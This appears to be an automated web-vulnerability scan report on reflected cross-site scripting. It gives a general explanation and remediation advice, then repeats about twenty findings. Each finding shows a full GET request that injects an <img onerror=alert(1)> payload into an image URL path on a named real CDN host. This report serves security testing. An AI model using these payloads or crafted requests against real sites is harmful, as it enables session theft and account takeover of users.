Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 2fd86<img%20src%3da%20onerror%3dalert(1)>af4802e2c43 was submitted in the REST URL parameter 9. This input was echoed as 2fd86<img src=a onerror=alert(1)>af4802e2c43 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/P0026084b2fd86<img%20src%3da%20onerror%3dalert(1)>af4802e2c43?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 49c07<img%20src%3da%20onerror%3dalert(1)>86ab35ef3ef was submitted in the REST URL parameter 9. This input was echoed as 49c07<img src=a onerror=alert(1)>86ab35ef3ef in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/P0054242b49c07<img%20src%3da%20onerror%3dalert(1)>86ab35ef3ef?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 56b44<img%20src%3da%20onerror%3dalert(1)>5949f4937c0 was submitted in the REST URL parameter 9. This input was echoed as 56b44<img src=a onerror=alert(1)>5949f4937c0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/P0057916b56b44<img%20src%3da%20onerror%3dalert(1)>5949f4937c0?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 30b2f<img%20src%3da%20onerror%3dalert(1)>5d12361a7b4 was submitted in the REST URL parameter 9. This input was echoed as 30b2f<img src=a onerror=alert(1)>5d12361a7b4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/P007188130b2f<img%20src%3da%20onerror%3dalert(1)>5d12361a7b4?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload b573e<img%20src%3da%20onerror%3dalert(1)>554311b6c84 was submitted in the REST URL parameter 9. This input was echoed as b573e<img src=a onerror=alert(1)>554311b6c84 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/P0073727bb573e<img%20src%3da%20onerror%3dalert(1)>554311b6c84?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 1047c<img%20src%3da%20onerror%3dalert(1)>2e316f78077 was submitted in the REST URL parameter 9. This input was echoed as 1047c<img src=a onerror=alert(1)>2e316f78077 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/P0090481b1047c<img%20src%3da%20onerror%3dalert(1)>2e316f78077?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 7c462<img%20src%3da%20onerror%3dalert(1)>76984cbffb3 was submitted in the REST URL parameter 9. This input was echoed as 7c462<img src=a onerror=alert(1)>76984cbffb3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/P0105447b7c462<img%20src%3da%20onerror%3dalert(1)>76984cbffb3?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload b1157<img%20src%3da%20onerror%3dalert(1)>920787cad49 was submitted in the REST URL parameter 9. This input was echoed as b1157<img src=a onerror=alert(1)>920787cad49 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/P0105684bb1157<img%20src%3da%20onerror%3dalert(1)>920787cad49?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 966ec<img%20src%3da%20onerror%3dalert(1)>cb6928d315 was submitted in the REST URL parameter 9. This input was echoed as 966ec<img src=a onerror=alert(1)>cb6928d315 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/P0106998b966ec<img%20src%3da%20onerror%3dalert(1)>cb6928d315?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 8719d<img%20src%3da%20onerror%3dalert(1)>48d0d519a3c was submitted in the REST URL parameter 9. This input was echoed as 8719d<img src=a onerror=alert(1)>48d0d519a3c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR10_00000001016X_35172_W18719d<img%20src%3da%20onerror%3dalert(1)>48d0d519a3c?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 5ad2c<img%20src%3da%20onerror%3dalert(1)>a2783a548b0 was submitted in the REST URL parameter 9. This input was echoed as 5ad2c<img src=a onerror=alert(1)>a2783a548b0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR10_000000076432_66228_W1_SQ5ad2c<img%20src%3da%20onerror%3dalert(1)>a2783a548b0?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 90233<img%20src%3da%20onerror%3dalert(1)>4af1509f708 was submitted in the REST URL parameter 9. This input was echoed as 90233<img src=a onerror=alert(1)>4af1509f708 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR10_00000007G437_68702_W1_SQ90233<img%20src%3da%20onerror%3dalert(1)>4af1509f708?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload dde05<img%20src%3da%20onerror%3dalert(1)>7b7dbc8df13 was submitted in the REST URL parameter 9. This input was echoed as dde05<img src=a onerror=alert(1)>7b7dbc8df13 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR10_00000007H355_69865_W2_SQdde05<img%20src%3da%20onerror%3dalert(1)>7b7dbc8df13?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload b5852<img%20src%3da%20onerror%3dalert(1)>e0c47f2adfe was submitted in the REST URL parameter 9. This input was echoed as b5852<img src=a onerror=alert(1)>e0c47f2adfe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR10_00000008H201_82170_W2_SQb5852<img%20src%3da%20onerror%3dalert(1)>e0c47f2adfe?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 5dc38<img%20src%3da%20onerror%3dalert(1)>73585b63516 was submitted in the REST URL parameter 9. This input was echoed as 5dc38<img src=a onerror=alert(1)>73585b63516 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR10_00000008H203_82172_W1_SQ5dc38<img%20src%3da%20onerror%3dalert(1)>73585b63516?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload fd9b1<img%20src%3da%20onerror%3dalert(1)>c9ece6814af was submitted in the REST URL parameter 9. This input was echoed as fd9b1<img src=a onerror=alert(1)>c9ece6814af in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR10_00000010D01X_103184_W1fd9b1<img%20src%3da%20onerror%3dalert(1)>c9ece6814af?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload bf8d3<img%20src%3da%20onerror%3dalert(1)>4c20501340f was submitted in the REST URL parameter 9. This input was echoed as bf8d3<img src=a onerror=alert(1)>4c20501340f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR10_0000008G370X_85066_W7_SQbf8d3<img%20src%3da%20onerror%3dalert(1)>4c20501340f?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload dc8f1<img%20src%3da%20onerror%3dalert(1)>351d0d588f3 was submitted in the REST URL parameter 9. This input was echoed as dc8f1<img src=a onerror=alert(1)>351d0d588f3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR10_0000009A230X_85266_W1_SQdc8f1<img%20src%3da%20onerror%3dalert(1)>351d0d588f3?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload d3241<img%20src%3da%20onerror%3dalert(1)>b814b4c37bb was submitted in the REST URL parameter 9. This input was echoed as d3241<img src=a onerror=alert(1)>b814b4c37bb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR11_000000011F48_0138343_W1_SQd3241<img%20src%3da%20onerror%3dalert(1)>b814b4c37bb?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 6af88<img%20src%3da%20onerror%3dalert(1)>3334b396171 was submitted in the REST URL parameter 9. This input was echoed as 6af88<img src=a onerror=alert(1)>3334b396171 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR11_00000002352X_0049859_W1_SQ6af88<img%20src%3da%20onerror%3dalert(1)>3334b396171?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 908f9<img%20src%3da%20onerror%3dalert(1)>5ff4f03be4a was submitted in the REST URL parameter 9. This input was echoed as 908f9<img src=a onerror=alert(1)>5ff4f03be4a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /7/1128/497/0001/image.proflowers.com/is/image/ProvideCommerce/PCR11_00000011A98X_114727_W1908f9<img%20src%3da%20onerror%3dalert(1)>5ff4f03be4a?nanos=770&qlt=75,0&resMode=sharp&op_usm=0.5,1.0,0.0,0&wid=174&hei=174 HTTP/1.1 Host: a1128.g.akamai.net Proxy-Connection: keep-alive Referer: http://www.personalcreations.com/?ref=pcrprtlscasalemedia_ronCPCAnniversary_hp_720x300Anniv_HrtsndprntPwtrpltThennowfrme&Keyword=PC_YR11_720x300_Anniv_HrtsndprntPwtrpltThennowfrme_hp_html&Network=Casale_Media User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 5b198<img%20src%3da%20onerror%3dalert(1)>c4c8409ea3e was submitted in the REST URL parameter 9. This input was echoed as 5b198<img src=a onerror=alert(1)>c4c8409ea3e in the application's response.
